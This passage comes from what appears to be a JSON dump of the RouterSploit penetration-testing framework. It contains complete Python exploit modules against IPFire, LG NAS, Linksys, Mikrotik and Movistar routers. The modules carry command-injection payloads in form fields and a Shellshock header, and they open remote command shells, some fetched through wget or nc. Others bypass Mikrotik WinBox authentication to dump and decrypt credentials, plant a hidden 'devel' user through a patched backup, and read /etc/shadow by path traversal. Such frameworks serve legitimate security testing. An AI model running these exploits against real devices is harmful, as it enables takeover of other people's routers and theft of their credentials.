    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"IPFire Proxy RCE\",\n        \"description\": \"Module exploits IPFire < 2.19 Core Update 101 Remote Code Execution \"\n                       \"vulnerability which allows executing commands on operating system level.\",\n        \"authors\": (\n            \"Yann CAM\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/39765/\",\n            \"http://www.ipfire.org/news/ipfire-2-19-core-update-101-released\",\n        ),\n        \"devices\": (\n            \"IPFire < 2.19 Core Update 101\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(444, \"Target HTTP port\")\n    ssl = OptBool(True, \"SSL enabled: true/false\")\n\n    username = OptString(\"admin\", \"Username to log in with\")\n    password = OptString(\"admin\", \"Password to log in with\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n            print_status(\"Invoking command loop...\")\n            shell(self,\n                  architecture=\"cmd\",\n                  method=\"cmd\",\n                  payloads=[\"awk\"])\n        else:\n            print_error(\"Target is not vulnerable\")\n\n    def execute(self, cmd):\n        headers = {\n            \"Content-Type\": \"application/x-www-form-urlencoded\",\n            \"Referer\": self.get_target_url(path=\"/cgi-bin/proxy.cgi\"),\n        }\n\n        payload = \"||{};#\".format(cmd)\n\n        data = {\n            \"NCSA_USERNAME\": utils.random_text(12),\n            \"NCSA_GROUP\": \"standard\",\n            \"NCSA_PASS\": payload,\n            \"NCSA_PASS_CONFIRM\": payload,\n            \"SUBMIT\": \"Create+user\",\n            \"ACTION\": \"Add\",\n            \"NCSA_MIN_PASS_LEN\": \"6\",\n        }\n\n        response = self.http_request(\n            method=\"POST\",\n            path=\"/cgi-bin/proxy.cgi\",\n            headers=headers,\n            data=data,\n            auth=(self.username, self.password),\n        )\n\n        if response:\n            end = response.text.find(\"<!DOCTYPE html>\")\n\n            if end:\n                return response.text[:end]\n\n        return \"\"\n\n    @mute\n    def check(self):\n        mark = utils.random_text(32)\n        cmd = \"echo {}\".format(mark)\n\n        response = self.execute(cmd)\n\n        if mark in response:\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/ipfire/ipfire_shellshock.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"IPFire Shellshock\",\n        \"description\": \"Exploits shellshock vulnerability in IPFire <= 2.15 Core Update 82. \"\n                       \"If the target is vulnerable it is possible to execute commands on operating system level.\",\n        \"authors\": (\n            \"Claudio Viviani\",  # vulnerability discovery\n            \"Marcin Bury <marcin@threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/34839\",\n        ),\n        \"devices\": (\n            \"IPFire <= 2.15 Core Update 82\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(444, \"Target HTTP port\")\n    ssl = OptBool(True, \"SSL enabled: true/false\")\n\n    username = OptString(\"admin\", \"Username to log in with\")\n    password = OptString(\"admin\", \"Password to log in with\")\n\n    def __init__(self):\n        self.payload = \"() { :;}; /bin/bash -c '{{cmd}}'\"\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n            print_status(\"Invoking command loop...\")\n            shell(self)\n        else:\n            print_error(\"Target is not vulnerable\")\n\n    def execute(self, cmd):\n        marker = utils.random_text(32)\n        cmd = \"echo {};{}\".format(marker, cmd)\n        payload = self.payload.replace(\"{{cmd}}\", cmd)\n\n        headers = {\n            \"VULN\": payload,\n        }\n\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/cgi-bin/index.cgi\",\n            headers=headers,\n            auth=(self.username, self.password)\n        )\n        if response is None:\n            return \"\"\n\n        if response.status_code == 200:\n            start = response.text.find(marker) + len(marker) + 1  # marker and whitespace\n            end = response.text.find(\"<!DOCTYPE html>\", start)\n\n            return response.text[start:end]\n\n        return \"\"\n\n    @mute\n    def check(self):\n        marker = utils.random_text(32)\n        cmd = \"echo {}\".format(marker)\n        payload = self.payload.replace(\"{{cmd}}\", cmd)\n\n        headers = {\n            \"VULN\": payload,\n        }\n\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/cgi-bin/index.cgi\",\n            headers=headers,\n            auth=(self.username, self.password)\n        )\n\n        if response and marker in response.text:\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/lg/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/routers/lg/nas_3718.py",
    "content": "from collections import OrderedDict\n\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"LG_NAS_3718.510.a0_RCE\",\n        \"description\": \"Module exploits LG-NAS Storage Remote Command Execution vulnerability \"\n                       \"in the web-based certificate generator feature.\",      \n        \"authors\": (\n            \"@0x616163\",  # vulnerability discovery\n            \"GH0st3rs\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.vpnmentor.com/blog/critical-vulnerability-found-majority-lg-nas-devices/\",\n            \"https://www.exploit-db.com/exploits/45109\",\n        ),\n        \"devices\": (\n            \"3718.510.a0\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def check(self) -> bool:\n        # Exploiting this vulnerability requires a valid user account\n        # on the target NAS otherwise the vulnerable code is not executed\n        parameters = OrderedDict([('op_mode', 'login'), ('id', 'admin'), ('password', 'pass'), ('mobile', 'false')])\n        response = self.http_request(\n            method=\"POST\",\n            path=\"/en/php/login_check.php\",\n            data=parameters\n        )\n        if response:\n            if response.text == \"NG:WRONG PASSWORD\\n\":\n                print_status(\"Valid user found: admin for %s:%d\", self.host, self.port)\n                return True\n            if response and response.text == \"NG:NO USER\\n\":\n                print_status(\"User not found: admin for %s:%d\", self.host, self.port)\n        return False\n\n    def execute(self, cmd: str) -> str:\n        parameters = OrderedDict([('op_mode', 'login'), ('id', 'admin'), ('password', 'pass;' + cmd), ('mobile', 'false')])\n        response = self.http_request(\n            method=\"POST\", path=\"/en/php/login_check.php\",\n            data=parameters, timeout=0.5\n        )\n        if response and response.status_code == 200:\n            return response.text\n        return ''\n\n    def run(self):\n        if self.check():\n            print_success(\"Target seams %s:%d is vulnerable\", self.target, self.port)\n            shell(self, architecture='armle', binary=\"/usr/bin/nc\", shell=\"/bin/bash\")\n        else:\n            print_error(\"Exploit failed - target %s:%d seems to be not vulnerable\", self.target, self.port)\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/linksys/1500_2500_rce.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Linksys E1500/E2500\",\n        \"description\": \"Module exploits remote command execution in Linksys E1500/E2500 devices. \"\n                       \"Diagnostics interface allows executing root privileged shell commands is \"\n                       \"available on dedicated web pages on the device.\",\n        \"authors\": (\n            \"Michael Messner\",  # vulnerability discovery\n            \"Esteban Rodriguez (n00py)\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/24475/\",\n        ),\n        \"devices\": (\n            \"Linksys E1500/E2500\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    username = OptString(\"admin\", \"Username to login with\")\n    password = OptString(\"admin\", \"Password to login with\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n            print_status(\"Invoking command loop...\")\n            print_status(\"It is blind command injection - response is not available\")\n            shell(self)\n        else:\n            print_error(\"Target is not vulnerable\")\n\n    def execute(self, cmd):\n        data = {\n            \"submit_button\": \"Diagnostics\",\n            \"change_action\": \"gozila_cgi\",\n            \"submit_type\": \"start_ping\",\n            \"action\": \"\",\n            \"commit\": \"0\",\n            \"ping_ip\": \"127.0.0.1\",\n            \"ping_size\": \"&\" + cmd,\n            \"ping_times\": \"5\",\n            \"traceroute_ip\": \"127.0.0.1\"\n        }\n\n        self.http_request(\n            method=\"POST\",\n            path=\"/apply.cgi\",\n            data=data,\n            auth=(self.username, self.password)\n        )\n\n        return \"\"\n\n    @mute\n    def check(self):\n        mark = utils.random_text(32)\n        cmd = \"echo {}\".format(mark)\n        data = {\n            \"submit_button\":\n            \"Diagnostics\",\n            \"change_action\": \"gozila_cgi\",\n            \"submit_type\": \"start_ping\",\n            \"action\": \"\",\n            \"commit\": \"0\",\n            \"ping_ip\": \"127.0.0.1\",\n            \"ping_size\": \"&\" + cmd,\n            \"ping_times\": \"5\",\n            \"traceroute_ip\": \"127.0.0.1\"\n        }\n\n        response = self.http_request(\n            method=\"POST\",\n            path=\"/apply.cgi\",\n            data=data,\n            auth=(self.username, self.password)\n        )\n        if response is None:\n            return False  # target is not vulnerable\n\n        if mark in response.text:\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/linksys/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/routers/linksys/eseries_themoon_rce.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Linksys E-Series TheMoon RCE\",\n        \"description\": \"Module exploits remote code execution vulnerability in multiple Linksys E-Series \"\n                       \"devices. Vulnerability was actively used by TheMoon Worm.\",\n        \"authors\": (\n            \"Johannes Ullrich\",  # worm discovery\n            \"Rew\",  # original exploit\n            \"infodox\",  # another exploit\n            \"Michael Messner <devnull[at]s3cur1ty.de>\",  # metasploit module\n            \"juan vazquez\",  # minor help with msf module\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/31683/\",\n            \"https://www.securityfocus.com/bid/65585\",\n            \"https://packetstormsecurity.com/files/125253\",\n            \"https://packetstormsecurity.com/files/125252\",\n            \"https://isc.sans.edu/diary/Linksys+Worm+%22TheMoon%22+Summary%3A+What+we+know+so+far/17633\",\n            \"https://isc.sans.edu/forums/diary/Linksys+Worm+TheMoon+Captured/17630\",\n        ),\n        \"devices\": (\n            \"Linksys E900\",\n            \"Linksys E1000\",\n            \"Linksys E1200\",\n            \"Linksys E1500\",\n            \"Linksys E1550\",\n            \"Linksys E2000\",\n            \"Linksys E2100L\",\n            \"Linksys E2500\",\n            \"Linksys E3000\",\n            \"Linksys E3200\",\n            \"Linksys E4200\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    arch = OptString(\"mipsle\", \"Target architecture: mipsbe, mipsle\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n            print_status(\"Invoking command loop...\")\n            print_status(\"It is blind command injection - response is not available\")\n            if self.arch == \"mipsbe\":\n                shell(self, architecture=\"mipsbe\", method=\"wget\", location=\"/tmp\")\n            elif self.arch == \"mipsle\":\n                shell(self, architecture=\"mipsle\", method=\"wget\", location=\"/tmp\")\n        else:\n            print_error(\"Target is not vulnerable\")\n\n    def execute(self, cmd):\n        cmd = \"-h `{}`\".format(cmd)\n        data = {\n            \"submit_button\": \"\",\n            \"change_action\": \"\",\n            \"action\": \"\",\n            \"commit\": \"0\",\n            \"ttcp_num\": \"2\",\n            \"ttcp_size\": \"2\",\n            \"ttcp_ip\": cmd,\n            \"StartEPI\": \"1\",\n        }\n\n        self.http_request(\n            method=\"POST\",\n            path=\"/tmUnblock.cgi\",\n            data=data,\n        )\n\n        return \"\"\n\n    @mute\n    def check(self):\n        # See https://isc.sans.edu/diary/Linksys+Worm+%22TheMoon%22+Summary%3A+What+we+know+so+far/17633\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/HNAP1/\",\n            headers={'Host': 'test'}\n        )\n\n        if not (response):\n            return False  # target is not vulnerable\n\n        content = response.content\n        if content and content.find(b'ModelName') == -1:\n            return False  # target is not vulnerable\n\n        # target may be vulnerable\n\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/tmUnblock.cgi\",\n        )\n\n        if response and response.status_code in [200, 301, 302] and not any(i in response.text.lower() for i in [\"page not found\", \"error\", \"404\", \"not found\"]):\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/linksys/smartwifi_password_disclosure.py",
    "content": "import re\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Linksys SMART WiFi Password Disclosure\",\n        \"description\": \"Exploit implementation for Linksys SMART WiFi Password Disclosure vulnerability. \"\n                       \"If target is vulnerable administrator's MD5 passsword is retrieved.\",\n        \"authors\": (\n            \"Sijmen Ruwhof\",  # vulnerability discovery\n            \"0BuRner\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.kb.cert.org/vuls/id/447516\",\n            \"http://sijmen.ruwhof.net/weblog/268-password-hash-disclosure-in-linksys-smart-wifi-routers\",\n            \"https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-8243\",\n            \"http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-8243\",\n        ),\n        \"devices\": (\n            \"Linksys EA2700 < Ver.1.1.40 (Build 162751)\",\n            \"Linksys EA3500 < Ver.1.1.40 (Build 162464)\",\n            \"Linksys E4200v2 < Ver.2.1.41 (Build 162351)\",\n            \"Linksys EA4500 < Ver.2.1.41 (Build 162351)\",\n            \"Linksys EA6200 < Ver.1.1.41 (Build 162599)\",\n            \"Linksys EA6300 < Ver.1.1.40 (Build 160989)\",\n            \"Linksys EA6400 < Ver.1.1.40 (Build 160989)\",\n            \"Linksys EA6500 < Ver.1.1.40 (Build 160989)\",\n            \"Linksys EA6700 < Ver.1.1.40 (Build 160989)\",\n            \"Linksys EA6900 < Ver.1.1.42 (Build 161129)\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target seems to be vulnerable\")\n\n            response = self.http_request(\n                method=\"GET\",\n                path=\"/.htpasswd\"\n            )\n            if response is None:\n                print_error(\"Exploit failed - connection error\")\n                return\n\n            if (response.text.find('$') != -1):\n                print_info(\"Likely Unix crypt hash: $id$salt$hashed\")  # See more at http://man7.org/linux/man-pages/man3/crypt.3.html\n            else:\n                print_info(\"Likely base64 encoded .htaccess\")  # John understands this natively\n\n            print_success(\"Hash found:\", response.text)\n        else:\n            print_error(\"Exploit failed - target seems to be not vulnerable\")\n\n    @mute\n    def check(self):\n\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/.htpasswd\"\n        )\n\n        if response is not None and response.status_code == 200:\n            res = re.findall(r\"^([a-zA-Z0-9]+:\\S+)\", response.text)\n            if len(res):\n                return True\n\n        return False\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/linksys/wap54gv3_rce.py",
    "content": "import re\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Linksys WAP54Gv3\",\n        \"description\": \"Module exploits remote command execution in Linksys WAP54Gv3 devices. \"\n                       \"Debug interface allows executing root privileged shell commands is available \"\n                       \"on dedicated web pages on the device.\",\n        \"authors\": (\n            \"Phil Purviance\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"http://seclists.org/bugtraq/2010/Jun/93\",\n        ),\n        \"devices\": (\n            \"Linksys WAP54Gv3\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n            print_status(\"Invoking command loop...\")\n            shell(self)\n        else:\n            print_error(\"Target is not vulnerable\")\n\n    def execute(self, cmd):\n        data = {\"data1\": cmd, \"command\": \"ui_debug\"}\n\n        response = self.http_request(\n            method=\"POST\",\n            path=\"/debug.cgi\",\n            data=data,\n            auth=(\"Gemtek\", \"gemtekswd\")\n        )\n        if response is None:\n            return \"\"\n\n        res = re.findall('<textarea rows=30 cols=100>(.+?)</textarea>', response.text, re.DOTALL)\n\n        if len(res):\n            return res[0]\n\n        return \"\"\n\n    @mute\n    def check(self):\n        mark = utils.random_text(32)\n        cmd = \"echo {}\".format(mark)\n\n        response = self.execute(cmd)\n\n        if mark in response:\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/linksys/wrt100_110_rce.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Linksys WRT100/WRT110 RCE\",\n        \"description\": \"Module exploits remote command execution in Linksys WRT100/WRT110 devices. \"\n                       \"If the target is vulnerable, command loop is invoked that allows executing commands \"\n                       \"on operating system level.\",\n        \"authors\": (\n            \"Craig Young\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-3568\",\n            \"http://seclists.org/bugtraq/2013/Jul/78\",\n        ),\n        \"devices\": (\n            \"Linksys WRT100\",\n            \"Linksys WRT110\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    username = OptString(\"admin\", \"Username to log in\")\n    password = OptString(\"admin\", \"Password to log in\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target appears to be vulnerable\")\n\n            if self.test_auth():\n                print_status(\"Invoking command loop...\")\n                print_status(\"This is blind command injection. Response is not available.\")\n                shell(self, architecture=\"mipsle\")\n        else:\n            print_error(\"Target is not vulnerable\")\n\n    def execute(self, cmd):\n        payload = \"& {}\".format(cmd)\n        data = {\n            \"pingstr\": payload\n        }\n\n        self.http_request(\n            method=\"POST\",\n            path=\"/ping.cgi\",\n            data=data,\n            auth=(self.username, self.password)\n        )\n        return \"\"\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/HNAP1/\"\n        )\n\n        if response is not None and \"<ModelName>WRT110</ModelName>\" in response.text:\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n\n    def test_auth(self):\n        print_status(\"Trying to authenticate\")\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/\",\n            auth=(self.username, self.password)\n        )\n\n        if response is None or response.status_code == 401 or response.status_code == 404:\n            print_error(\"Could not authenticate {}:{}\".format(self.username, self.password))\n            return False\n        else:\n            print_success(\"Successful authentication {}:{}\".format(self.username, self.password))\n            return True\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/mikrotik/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/routers/mikrotik/routeros_jailbreak.py",
    "content": "import re\nfrom struct import pack, unpack\nfrom routersploit.core.exploit import *\nfrom routersploit.core.ssh.ssh_client import SSHClient\n\n\nclass Exploit(SSHClient):\n    __info__ = {\n        \"name\": \"Mikrotik RouterOS Jailbreak\",\n        \"description\": \"Module creates \\\"devel\\\" user on RouterOS from 2.9.8 to 6.41rc56.\",\n        \"authors\": (\n            \"GH0st3rs\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://github.com/0ki/mikrotik-tools\",\n        ),\n        \"devices\": (\n            \"Mikrotik RoutersOS versions from 2.9.8 up to 6.41rc56\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(22, \"Target SSH port\")\n\n    username = OptString(\"admin\", \"Username to log in with\")\n    password = OptString(\"\", \"Password to log in with\")\n\n    def __init__(self):\n        self.ssh_client = None\n\n    def run(self):\n        if self.check():\n            print_success(\"Target seems to be vulnerable\")\n\n            if self.backup_configuration():\n                print_status(\"Downloading current configuration...\")\n                content = self.ssh_client.get_content(\"/backup.backup\")\n\n                backup = self.backup_patch(content)\n                if backup:\n                    print_status(\"Uploading exploit...\")\n                    if self.backup_restore(backup):\n                        print_success(\"Jailbreak was (likely) successful.\")\n                        print_success(\"Linux mode can be accessed via telnet using: devel/{}\".format(self.password))\n                    else:\n                        print_error(\"Unable to apply patched configuration\")\n            else:\n                print_error(\"Unable to export current configuration\")\n\n    @mute\n    def check(self):\n        self.ssh_client = self.ssh_create()\n\n        if self.ssh_client.login(self.username, self.password):\n            output = self.ssh_client.execute(\"/system resource print\")\n\n            res = re.findall(b\"version: (.+?) \", output)\n            if res:\n                version = str(res[0], \"utf-8\")\n                if \"rc\" in version:\n                    version, rc = version.split(\"rc\")\n                    if version == \"6.41\" and int(rc) > 56:\n                        return False\n\n                if utils.Version(\"2.9.8\") <= utils.Version(version) <= utils.Version(\"6.42\"):\n                    return True\n\n        return False\n\n    def backup_configuration(self):\n        output = self.ssh_client.execute(\"/system backup save name=\\\"backup.backup\\\" dont-encrypt=yes\")\n        if b\"backup saved\" in output:\n            return True\n        else:\n            output = self.ssh_client.execute(\"/system backup save name=\\\"backup.backup\\\"\")\n            if b\"backup saved\" in output:\n                return True\n\n        return False\n\n    def backup_patch(self, backup):\n        realsize = len(backup)\n        if realsize < 8 or backup[:4] != b\"\\x88\\xAC\\xA1\\xB1\":\n            print_error(\"Please check if that is a recent RouterOS backup file w/o password protection.\")\n            return False\n\n        matchsize, = unpack(\"<I\", backup[4:8])\n        if matchsize != realsize:\n            print_error(\"File is damaged. Aborting...\")\n            return False\n\n        # first we write our payload\n        payload = (\n            b\"\\x1E\\x00\\x00\\x00\\x2E\\x2E\\x2F\\x2E\\x2E\\x2F\\x2E\\x2E\\x2F\"\n            b\"\\x6E\\x6F\\x76\\x61\\x2F\\x65\\x74\\x63\\x2F\\x64\\x65\\x76\\x65\\x6C\\x2D\"\n            b\"\\x6C\\x6F\\x67\\x69\\x6E\\x2F\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n        )\n        matchsize += len(payload)\n        backup = backup[:4] + pack(\"<I\", matchsize) + backup[8:] + payload\n\n        print_status(\"Patching done\")\n        return backup\n\n    def backup_restore(self, backup):\n        self.ssh_client.send_content(backup, \"/backup.backup\")\n\n        output = self.ssh_client.execute(\"/system backup load name=\\\"backup.backup\\\" password=\\\"\\\"\")\n        if b\"configuration restored\" in output:\n            return True\n        else:\n            output = self.ssh_client.execute(\"/system backup load name=\\\"backup.backup\\\"\")\n            if b\"configuration restored\" in output:\n                return True\n\n        return False\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/mikrotik/winbox_auth_bypass_creds_disclosure.py",
    "content": "from hashlib import md5\n\nfrom routersploit.core.exploit import *\nfrom routersploit.core.tcp.tcp_client import TCPClient\n\n\nclass Exploit(TCPClient):\n    __info__ = {\n        \"name\": \"Mikrotik WinBox Auth Bypass - Creds Disclosure\",\n        \"description\": \"Module bypass authentication through WinBox service in Mikrotik devices \"\n                       \"versions from 6.29 (release date: 2015/28/05) to 6.42 (release date 2018/04/20) \"\n                       \"and retrieves administrative credentials.\",\n        \"authors\": (\n            \"Alireza Mosajjal\",  # vulnerability discovery, poc exploit\n            \"Mostafa Yalpaniyan\",  # vulnerablity discovery, poc exploit\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://n0p.me/winbox-bug-dissection/\",\n            \"https://github.com/BasuCert/WinboxPoC\",\n        ),\n        \"devices\": (\n            \"Mikrotik RouterOS versions from 6.29 (release date: 2015/28/05) to 6.42 (release date 2018/04/20)\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(8291, \"Target WinBox service\")\n\n    def __init__(self):\n        self.packet_a = (\n            b\"\\x68\\x01\\x00\\x66\\x4d\\x32\\x05\\x00\\xff\\x01\\x06\\x00\\xff\\x09\\x05\\x07\"\n            b\"\\x00\\xff\\x09\\x07\\x01\\x00\\x00\\x21\\x35\\x2f\\x2f\\x2f\\x2f\\x2f\\x2e\\x2f\"\n            b\"\\x2e\\x2e\\x2f\\x2f\\x2f\\x2f\\x2f\\x2f\\x2e\\x2f\\x2e\\x2e\\x2f\\x2f\\x2f\\x2f\"\n            b\"\\x2f\\x2f\\x2e\\x2f\\x2e\\x2e\\x2f\\x66\\x6c\\x61\\x73\\x68\\x2f\\x72\\x77\\x2f\"\n            b\"\\x73\\x74\\x6f\\x72\\x65\\x2f\\x75\\x73\\x65\\x72\\x2e\\x64\\x61\\x74\\x02\\x00\"\n            b\"\\xff\\x88\\x02\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x01\\x00\\xff\\x88\"\n            b\"\\x02\\x00\\x02\\x00\\x00\\x00\\x02\\x00\\x00\\x00\"\n        )\n\n        self.packet_b = (\n            b\"\\x3b\\x01\\x00\\x39\\x4d\\x32\\x05\\x00\\xff\\x01\\x06\\x00\\xff\\x09\\x06\\x01\"\n            b\"\\x00\\xfe\\x09\\x35\\x02\\x00\\x00\\x08\\x00\\x80\\x00\\x00\\x07\\x00\\xff\\x09\"\n            b\"\\x04\\x02\\x00\\xff\\x88\\x02\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x01\"\n            b\"\\x00\\xff\\x88\\x02\\x00\\x02\\x00\\x00\\x00\\x02\\x00\\x00\\x00\"\n        )\n\n    def run(self):\n        creds = self.get_creds()\n        if creds:\n            print_success(\"Target seems to be vulnerable\")\n            print_status(\"Dumping credentials\")\n            print_table((\"Username\", \"Password\"), *creds)\n        else:\n            print_error(\"Exploit failed - target does not seem to be vulnerable\")\n\n    @mute\n    def check(self):\n        creds = self.get_creds()\n        if creds:\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n\n    def get_creds(self):\n        creds = []\n\n        tcp_client = self.tcp_create()\n        tcp_client.connect()\n\n        tcp_client.send(self.packet_a)\n        data = tcp_client.recv(1024)\n\n        if not data or len(data) < 39:\n            return None\n\n        packet = self.packet_b[:19] + data[38:39] + self.packet_b[20:]\n\n        tcp_client.send(packet)\n        data = tcp_client.recv(1024)\n\n        if not data:\n            return None\n\n        tcp_client.close()\n\n        creds = self.get_pair(data)\n        if not creds:\n            return None\n\n        return creds\n\n    def decrypt_password(self, user, pass_enc):\n        key = md5(user + b\"283i4jfkai3389\").digest()\n\n        passw = \"\"\n        for i in range(0, len(pass_enc)):\n            passw += chr(pass_enc[i] ^ key[i % len(key)])\n\n        return passw.split(\"\\x00\")[0]\n\n    def extract_user_pass_from_entry(self, entry):\n        user_data = entry.split(b\"\\x01\\x00\\x00\\x21\")[1]\n        pass_data = entry.split(b\"\\x11\\x00\\x00\\x21\")[1]\n\n        user_len = user_data[0]\n        pass_len = pass_data[0]\n\n        username = user_data[1:1 + user_len]\n        password = pass_data[1:1 + pass_len]\n\n        return username, password\n\n    def get_pair(self, data):\n        user_list = []\n\n        entries = data.split(b\"M2\")[1:]\n        for entry in entries:\n            try:\n                user, pass_encrypted = self.extract_user_pass_from_entry(entry)\n            except Exception:\n                continue\n\n            pass_plain = self.decrypt_password(user, pass_encrypted)\n            user = user.decode(\"ascii\")\n\n            user_list.append((user, pass_plain))\n\n        return user_list\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/movistar/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/routers/movistar/adsl_router_bhs_rta_path_traversal.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Movistar ADSL Router BHS_RTA Path Traversal\",\n        \"description\": \"Module exploits Movistar ADSL Router BHS_RTA Path Traversal \"\n                       \"vulnerability which allows to read any file on the system.\",\n        \"authors\": (\n            \"Todor Donev <todor.donev[at]gmail.com>\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/40734/\",\n        ),\n        \"devices\": (\n            \"Movistar ADSL Router BHS_RTA\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    filename = OptString(\"/etc/shadow\", \"File to read\")\n\n    def run(self):\n        if self.check():\n            path = \"/cgi-bin/webproc?getpage={}&var:language=es_es&var:page=\".format(self.filename)\n\n            response = self.http_request(\n                method=\"GET\",\n                path=path,\n            )\n            if response is None:\n                return\n\n            if response.status_code == 200 and len(response.text):\n                print_success(\"Success! File: %s\" % self.filename)\n                print_info(response.text)\n            else:\n                print_error(\"Exploit failed\")\n        else:\n            print_error(\"Device seems to be not vulnerable\")\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/cgi-bin/webproc?getpage=/etc/passwd&var:language=es_es&var:page=\",\n        )\n        if response is None:\n            return False  # target is not vulnerable\n\n        if utils.detect_file_content(response.text, \"/etc/passwd\"):\n            return True  # target vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/multi/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/routers/multi/gpon_home_gateway_rce.py",
